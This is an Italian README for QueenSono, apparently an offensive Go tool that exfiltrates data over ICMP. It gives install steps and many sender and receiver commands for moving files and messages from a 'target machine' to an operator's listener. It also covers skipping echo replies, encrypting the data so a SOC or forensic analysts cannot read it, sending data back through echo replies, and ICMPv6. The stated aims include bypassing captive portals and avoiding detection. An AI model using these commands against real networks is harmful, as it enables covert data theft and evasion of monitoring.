ariary/queensonoBinario Golang per l'esfiltrazione di dati con protocollo ICMP (+ ICMP bindshell, http over ICMP tunneling, ...)
Lo strumento QueenSono si basa solo sul fatto che il protocollo ICMP non è monitorato. È abbastanza comune. Potrebbe essere usato anche all'interno di un sistema con ispezione ICMP di base (ad es. controllo di frequenza e lunghezza del contenuto) o per bypassare la fase di autenticazione con captive portal (usato da molti Wi-Fi pubblici per autenticare gli utenti dopo la connessione, ad es. Wi-Fi aeroportuali). Cerca di imitare PyExfil (e altri) con l'idea che la macchina target non abbia necessariamente Python installato (quindi fornire un binario potrebbe essere utile)
Installalo
·
Usalo
·
Note
·
Richiedi funzionalità
·
🎁
curl> Dalla release
curl -lO -L https://github.com/ariary/QueenSono/releases/latest/download/qsreceiver
curl -lO -L https://github.com/ariary/QueenSono/releases/latest/download/qssender
go> Tramite go install
Assicurati che $GOPATH sia nel tuo $PATH prima
Installa qssender
go install github.com/ariary/QueenSono/cmd/client@latest
mv $GOPATH/bin/client $GOPATH/bin/qssender #rename binary
Installa qsreceiver
go install github.com/ariary/QueenSono/cmd/server@latest
mv $GOPATH/bin/server $GOPATH/bin/qsreceiver #rename binary
> Installa il binario dal sorgente
Clona il repo e scarica le dipendenze localmente:
git clone https://github.com/ariary/QueenSono.git
cd QueenSono
make before.build
Per costruire l'invio di pacchetti ICMP qssender :
build.queensono-sender
Per costruire il ricevitore di pacchetti ICMP qsreceiver :
build.queensono-receiver
qssender è il binario che invierà pacchetti ICMP al listener, quindi è il binario che devi trasferire sulla macchina target.
qsreceiver è il listener sulla tua macchina locale (o ovunque tu possa ricevere pacchetti ICMP)
Tutti i comandi e i flag dei binari possono essere trovati usando --help
> In questo esempio vogliamo inviare un file grande e monitorare le echo reply per confermare la ricezione dei pacchetti (ACK).
Sulla macchina locale:
$ qsreceiver receive -l 0.0.0.0 -p -f received_bible.txt
-l 0.0.0.0 ascolta su tutte le interfacce per pacchetti ICMP
-f received_bible.txt salva i dati ricevuti in un file
-p mostra una barra di avanzamento dei dati ricevuti Sulla macchina target:
$ wget https://raw.githubusercontent.com/mxw/grmr/master/src/finaltests/bible.txt #download a huge file (for the example)
$ qssender send file -d 2 -l 0.0.0.0 -r 10.0.0.92 -s 50000 bible.txt
send file per inviare un file (bible.txt è il file in questione)
-d 2 invia un pacchetto ogni 2 secondi
-l 0.0.0.0 l'indirizzo di ascolto per echo reply -r 10.0.0.92 l'indirizzo della mia macchina remota con qsreceiver in ascolto-s 50000 la dimensione dei dati che voglio inviare in ogni pacchetto> In questo esempio vogliamo inviare un messaggio senza attendere la echo reply (potrebbe essere utile nel caso in cui il firewall di destinazione filtri i pacchetti ICMP in entrata)
Sulla macchina locale:
$ qsreceiver receive truncated 1 -l 0.0.0.0
receive truncated 1 non attende indefinitamente se non riceviamo tutti i pacchetti. (1 è il ritardo usato con qssender)echo 1 | dd of=/proc/sys/net/ipv4/icmp_echo_ignore_allSulla macchina target:
$ qssender send "thisisatest i want to send a string w/o waiting for the echo reply" -d 1 -l 0.0.0.0 -r 10.0.0.190 -s 1 -N
-N opzione noreply (non attendere echo reply)
> In questo esempio vogliamo inviare un messaggio crittografato. Poiché la riga di comando potrebbe essere spiata, utilizziamo la crittografia asimmetrica (se la chiave viene divulgata, non è un problema)
Sulla macchina locale:
$ qsreceiver receive -l 0.0.0.0 --encrypt
<OUTPUT PUBLIC KEY>
--encrypt utilizza lo scambio di crittografia. Genererà una chiave pubblica/privata. Quella pubblica sarà usata da qssender per crittografare i dati, quella privata per decrittografarli con receiver
Sulla macchina target:
$ export MSG="<your message>"
$ export KEY="<public_key_from_qsreceiver_output>"
$ qssender send $MSG -d 1 -l 0.0.0.0 -r 10.0.0.190 -s 5 --key $KEY
--key fornisce la chiave per la crittografia dei dati. Usa quella fornita dal comando qsreceiver
La crittografia RSA viene utilizzata per mantenere confidenziali i dati scambiati. Potrebbe essere utile, ad esempio, per evitare che un SoC veda quali dati vengono scambiati (o per analisi forense) con analisi di base o semplicemente per la privacy.
Ma ha un costo. La scelta della crittografia asimmetrica è motivata dal fatto che la chiave di crittografia viene inserita sulla riga di comando (quindi potrebbe essere recuperata facilmente). Pertanto, crittografiamo i dati con la chiave pubblica. In questo modo, se qualcuno recupera la chiave di crittografia, non sarà possibile decrittografare il messaggio. Ma la chiave pubblica è più piccola di quella privata, quindi crittografa messaggi più piccoli. Inoltre, è computazionalmente costosa.
Un altro punto: poiché vogliamo limitare la dimensione dei dati/richieste ping (per evitare rilevamento, bug, ecc.), usa la crittografia solo se necessario poiché la dimensione dell'output del messaggio sarà (dovrebbe) sempre uguale alla dimensione del Modulo (parte della chiave) che è grande.
Attualmente, l'intero messaggio viene crittografato e poi suddiviso in blocchi per essere inviato. Dall'altro lato attendiamo tutti i pacchetti (blocchi), ricostruiamo il messaggio e poi lo decrittografiamo. Ma funziona ⇔ abbiamo ricevuto TUTTI i blocchi, altrimenti la decrittografia fallirà.
=> Potremmo crittografare ogni blocco in base al parametro -s, in questo modo potremmo decrittografarli separatamente.
> In questo esempio la macchina locale invia dati di ritorno al target tramite echo reply ICMP. Utile quando l'ICMP in uscita dal target è filtrato ma il target può ricevere echo reply.
Sulla macchina locale:
$ qsreceiver reply-send "secret data to exfiltrate" -l 0.0.0.0 -d 1
reply-send attende un trigger da qssender, poi invia i dati indietro come echo reply ICMP
-l 0.0.0.0 ascolta su tutte le interfacce per il pacchetto di trigger
-d 1 ritardo di 1 secondo tra ogni pacchetto di rispostaSulla macchina target:
$ qssender receive -l 0.0.0.0 -r 10.0.0.92
receive invia un trigger a qsreceiver e raccoglie i dati dalle echo reply in arrivo
-l 0.0.0.0 l'indirizzo di ascolto per le echo reply in arrivo
-r 10.0.0.92 l'indirizzo della mia macchina locale con qsreceiver reply-send in attesaQueenSono supporta ICMPv6 in modo trasparente. Passa un indirizzo IPv6 e il protocollo viene rilevato automaticamente — nessun flag aggiuntivo necessario.
Sulla macchina locale:
$ qsreceiver receive -l ::
Sulla macchina target:
$ qssender send "hello from ipv6" -d 2 -l :: -r fe80::1 -s 50000
-l :: ascolta su tutte le interfacce IPv6
-r fe80::1 indirizzo IPv6 della macchina remota — attiva automaticamente ICMPv6
Tutte le modalità (invio con ACK, invio senza ACK, crittografata, echo reply) funzionano allo stesso modo su IPv6.
Vedi la sezione hack per cose divertenti con QueenSono:
cap_net_raw